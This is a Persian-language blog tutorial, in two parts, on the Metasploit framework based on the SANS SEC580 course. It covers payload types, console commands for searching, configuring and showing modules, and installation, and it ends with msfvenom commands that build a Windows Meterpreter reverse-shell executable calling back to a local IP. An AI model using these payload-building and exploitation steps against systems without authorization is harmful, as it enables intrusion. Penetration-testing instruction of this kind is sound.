نوشته‌ها

آموزش SEC580 – بخش دوم

سلام خدمت شما

با قسمت دوم از دوره SEC580 در خدمتتون هستم.

با توجه به درگیری‌های کاری سعی می کنم هر هفته ۱ تا ۲ پارت از این آموزش را منتشر کنم.دوره به صورت فشرده و کوتاه خواهد بود.

انواع Payload:

Payload ها انواع مختلفی دارند که متاسپلویت از آنها پشتیبانی می‌کند و توانایی بهره‌برداری از آنان را به ما می‌دهد.

 Inline و  non-staged

به پیلودهای حاوی Exploit و یا Full Shell code به منظور اجرای یک کار خاص پیلودهای non-staged و یا Inline می‌گویند.

Stager:

این نوع پیلود با پیلود های Staged کار می کند و وظیفه برقراری ارتباط بین مهاجم و فرد قربانی را دارد و با ایجاد یک Channel اطلاعات مد نظر فرد مهاجم را از آن عبور میدهد

Meterperter:

یک پیلود چند وجهی و یا همان Multi-Faceted می‌باشد که با استفاده از dll injection از راه دور به سیستم فرد قربانی حمله می‌کند و موجب ایجاد دسترسی می‌شود.

این نوع پیلود هیج اثری بر روی Hard-Disk نمی‌گذارد و تمامی بدافزارها را در Memory اجرا می‌کند.

کشف و بازرسی این پیلود با روش‌های ساده Digital Forensic بسیار سخت و دشوار می‌باشد.

PassiveX:

این نوع پیلود برای گذر از فایروال ها می باشند که از استفاده از ActiveX و IE به منظور ساخت یک http Tunnel به منظور ارسال و دریافت اطلاعات مد نظر فرد مهاجم مانع شناسایی شدن پیلود می شود.

NONX:

این پیلول وظیفه دور زدن NX را دارد، در برخی CPU ها به منظور جلوگیری از اجرای کد بر روی قسمت‌های مختلف حافظه از NX استفاده می‌شود که در ویندوز NX با نام DEP مخفف Data Execution Prevention پیاده سازی می‌شود و NONX توانایی دورزدن آن را نیز دارد.

IPv6:

همانطور که از نام آن پیداست این نوع پیلود برای استفاده در شبکه‌های مجهز به IPv6 می‌باشد

لیستی از Payload های موجوددر متاسپلویت

bind_tcp
bind_tcp_ipv6
bind_nonx_tcp
reverse_tcp
reverse_http
reverse_tcp_ipv6
reverse_nonx_tcp
reverse_tcp_allport
x64/bind_tcp
x64/reverse_tcp

با دستور msfconsole محیط برنامه را باز می‌کنیم.با استفاده از دستور banner می‌توانیم حالت شروع کنسول متاسپلویت را تغییر دهیم.

به منظور پیدا کردن سریع‌تر اکسپلویت‌ها، ماژول‌ها و یا Payload‌ها می‌توانیم از دستور search استفاده کنیم.

برای مثال من قصد دارم اسکنر های Port در متاسپلویت را ببینم

search <name>

چند مثال عملی

search cve:2019 type:exploit platform:windows app:client firefox

تمامی اکسپلویت‌های firefox با این مشخصات را برای ما نمایش می‌دهد

اگر زمانی بخواهیم کل اکسپلویت‌های موجود در متاسپلویت را با این مشخصات ببینیم مرتبط به هر پروتکل و نرم افزاری از دستور بالا به شکل زیر استفاده می‌کنیم

search cve:2019 type:exploit platform:windows app:client

نکته: در صورت نمایش ندادن خروجی خاصی به معنی این است که مشخصاتی که وارد کرده اید، در متاسپلویت وجود ندارد.

به منظور وارد شدن و به کار گرفتن این ماژول ما از دستور use استفاده می‌کنیم و وارد آن می‌شویم.

اصول نوشتاری دستور use به این شکل می‌باشد

use <Module_name>

حالا مراحل رو با مثال دیگری دنبال کنیم:

search portscan

use /auxiliary/scanner/portscan/tcp

با استفاده از دستورات متنوع show ما توانایی دیدن مقدار اطلاعات مختلف در رابطه با ماژول‌ها و اجزای مختلف متاسپلویت را داریم.

دستور show options برای ما پارامترهای مورد نیاز برای تنظیم آنها را نمایش می‌دهد که در ماژول‌های مختلف متاسپلویت دوپارامتر کاربرد بسیار دارند، پارامترهای RHOSTS و RPORTS برای ما اهمیت ویژه دارند.

مقدار RHOSTS مخفف Remote HOSTS تایین کننده IP هدف ما می‌باشد و RPORTS مخفف Remote PORT تعیین کننده Port هدف ما می‌باشد.این مقدارها را با استفاده از دستور set می‌‍توانیم تنظیم کنیم.

آموزش SEC580 - بخش دوم

اصول نوشتاری دستور set:

set <Variable> <Vaule>

set RHOSTS TargetURL/TargetIP

set PORTS 80

همانطور که در بالا گفتیم دستور show محتویات بسیاری را برای ما نمایش می‌دهد. برای مثال ما می‌توانیم از این دستور به منظور نمایش تمامی Exploit ها و یا ماژول‌های Auxiliary استفاده کنیم.

نمونه‌ای از این دستورات:

show exploits

نمایش تمامی اکسپلویت‌های قایل استفاده در متاسپلویت

show auxiliary 

نمایش تمامی ماژول‌های Auxiliary در متاسپلویت

show payloads

فرض کنید قرار است از طریق یک اکسپلویت به یک سیستم حمله کنیم و برای گرفتن دسترسی نیاز به یک پیلود دارید و پیلودهای قابل استفاده برای آن اکسپلویت را با این دستور می‌‍توانیم مشاهده کنیم

show encoders 

نمایش تمامی Encoder های قابل استفاده در متاسپلویت

show post

نمایش تمامی ماژول‌های Post-Exploiting قابل استفاده در متاسپلویت

show advanced

دیدن اطلاعات یک ماژول

از دستور Generate  به منظور تبدیل یک پیلود به کد استفاده می‌کنیم.

دستور بعدی:

info <Module_name>

مثال:

info auxiliary/scanner/portmap/portmap_amp

دستوری بعدی help نام دارد که برای کمک کردن به ما آماده شده است.برای نمونه:

help set

آموزش SEC580 – بخش اول

سلام خدمت شما

امروز تصمیم گرفتم که دوره SEC580 رو به صورت متنی در وب سایت شخصی خودم منتشر کنم تا چراغ راهی باشه برای علاقه‌مندان به مباحث تست نفوذ از طریق متاسپلویت که بتوانند به صورت رایگان به این محتوای ارزشمند دسترسی داشته باشند.

با توجه به درگیری‌های کاری سعی می کنم هر هفته ۱ تا ۲ پارت از این آموزش را منتشر کنم.دوره به صورت فشرده و کوتاه خواهد بود.

آموزش SEC580 - بخش اول

دوره آموزشی SEC580 از دوره‌های موسسه SANS است که به آموزش ابزار قدرتمند متاسپلویت می پردازد.

ابتدا باید ببینیم متاسپلویت چیست؟

متاسپلویت در ژوئیه سال ۲۰۰۳ ایجاد شد است. نسخه ۱٫۰ نوشته شده با زبان پرل و شامل رابط کاربری گرافیکی بر اساس curses است. نسخه سوم به‌طور کامل به زبان روبی بازنویسی شد و توسط Metasploit, LLC توسعه یافت. (تأسیس شده توسط توسعه دهندگان در سال ۲۰۰۶).

شما با استفاده از این فریم ورك می‌توانید آسیب پذیری‌هاي موجود در سیستم‌ها، پروتکل‌ها و نرم افزارهاي مختلف را شناسایی کرده و آنها را مورد نفوذ و یا حمله قرار دهید.

این اپلیکیشن به صورت پیش فرض  دارای اکسپلویت‌هاي بسیاری می‌باشد ولی علاوه بر آن شما می‌توانید اکسپلویت مورد نظر خودتان را ایجاد و به آن اضافه کنید.

نصب فریم ورک متاسپلویت

این فریم ورک به صورت پیش فرض در سیستم عامل کالی لینوکس وجود دارد و شما می‌توانید به راحتی از آن استفاده کنید.

اما اگر مایل به نصب متاسپلویت بر روی توزیع دیگری از لینوکس هستید، مشکلی وجود ندارد.باید به این شکل عمل کنید.

sudo apt-get install gpgv2 autoconf bison build-essential curl git-core libapr1 libaprutil1 libcurl4-openssl-dev libgmp3-dev libpcap-dev libpq-dev libreadline6-dev libsqlite3-dev libssl-dev libsvn1 libtool libxml2 libxml2-dev libxslt-dev libyaml-dev locate ncurses-dev openssl postgresql postgresql-contrib wget xsel zlib1g zlib1g-dev

پس از نصب وارد لینک زیر شوید و فایل metasploit.run را دانلود کنید

https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version

به ترتیب دستورات را وارد کنید:

mkdir /opt/metasploit

mv metasploit.run /opt/metasploit

chmod +x metasploit.run

./metasploit.run

پس نصب دستور msfconsole را وارد کنید تا محیط متاسپلویت برای شما اجرا شود.

حال نیاز است که با بخش‌های مختلف این فریم ورک آشنا شویم.

متاسپلویت دارای ماژول های مختلفی و تقسیم بندی های مختلفی است که به شرح زیر می باشند تعداد ۱۸۸۶ اکسپلویت، تعداد ۱۰۶۵ Auxiliary ، تعداد ۳۲۸ ماژولPost ، تعداد ۵۴۶ Payload و تعداد ۴۴ encoder و ۱۰ Nops و ۲ evasion.

متااسپلویت چندین رابط کاربری دارد. در گذشته رابط های آن بیشتر بود برای مثال msfcli و msfencode که جای خود را به msfpayload دادند.

بریم سراغ تست ابزار:

 قصد دارم یک Payload برای سیستم عامل ویندوز با استفاده از msfpayload ایجاد کنم. این رابط کاربری متاسپلویت وظیفه msfcli و msfencode را انجام می دهد.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe

با استفاده از سوییچ -p ، Payload مد نظر را تعیین میکنیم. به جای<Local Port>  یک Port را وارد کنید برای مثال ۴۴۴۴٫

 به جای Local IP Address درواقع IP سیستم خود را وارد کنید.

 با استفاده از سوییچ -f فرمت فایل و در آخر هم خروجی را در یک فایل exe با نام shell قرار دادیم .

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.40 LPORT=4444 -f exe > shell.exe